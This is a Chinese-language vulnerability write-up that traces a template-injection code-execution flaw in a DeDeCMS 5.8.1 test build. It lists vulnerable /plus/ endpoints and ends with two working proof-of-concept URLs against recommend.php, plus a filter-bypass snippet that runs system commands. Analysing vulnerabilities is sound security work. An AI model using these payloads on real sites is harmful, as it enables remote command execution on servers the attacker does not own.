DeDeCMS 5.8.1代码执行分析复现
前言
最近国外的安全研究人员发了一个dedecms的漏洞
当然这并不是dedecms的发行版本,属于内测版本
源码地址
原作者博客
这里只针对原文中的代码执行分析,注入方面不做研究
代码分析
对比源码不难发现,相对于5.7版本,5.8更多的采用了模板解析的形式
以下是5.8
以下是5.7,可以看到5.7中是直接echo输出的
故这里也可以去找解析模板的地方,只要参数可控,即可产生模板解析漏洞
还是有一些的在一定条件下,可能存在前台可用的情况,之后会做分析
此篇不在赘述
继续跟进showmsg调用的loadString方法
继续跟进ParseTemplate方法,这个方法主要就是对加载的字符串的解析
如果是常规的<?php echo 1;?>
,的形式则会跳过
真正需要解析的是类似于{@include 1.txt}
的形式
接下来需要调用display方法了
这里主要是看调用的writeCache方法
这里会把result写入缓存,猜都可以猜到是刚才解析的字符串
但还是跟进去看看
没有错,是sourceString
当然这里还存在一个CheckDisabledFunctions方法,这是一个对危险函数的过滤
绕过方式,也有不少
比如原文作者用到的<?php "system"('dir');?>
然后再进行文件包含,产生了漏洞
接下来就是看,怎么调用showmsg方法了
可以看到,showmsg中有两个参数是带入了被解析的字符串的
其中的msg都是不可控的,那么问题处在了gourl上面
有两种可控的方式
- 直接传入的参数就可控,且未传入onlymsg参数
- 传入的gourl参数为-1
参数为-1的情况
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
随便找一处
或者用下面的拼接的调用
其实这里应该可以直接拼接,因为server变量没走全局过滤
gourl直接可控的情况
/plus/recommend.php
/plus/users_do.php
/plus/vote.php
/plus/edit.inc.php
以/plus/recommend.php
为例
1 | /plus/recommend.php?action=send&aid=1&email=admin@qq.com&arcurl=<?php%20$a=$b.$c;$a($d);die();/*&b=sys&c=tem&d=dir |
或者直接做php标签的模板解析
poc
1 | /plus/recommend.php?action=send&aid=1&email=admin@qq.com&arcurl={dede:php}%0a$a=$b.$c;$a($d);die();/*%0a{/dede:php}&b=sys&c=tem&d=dir |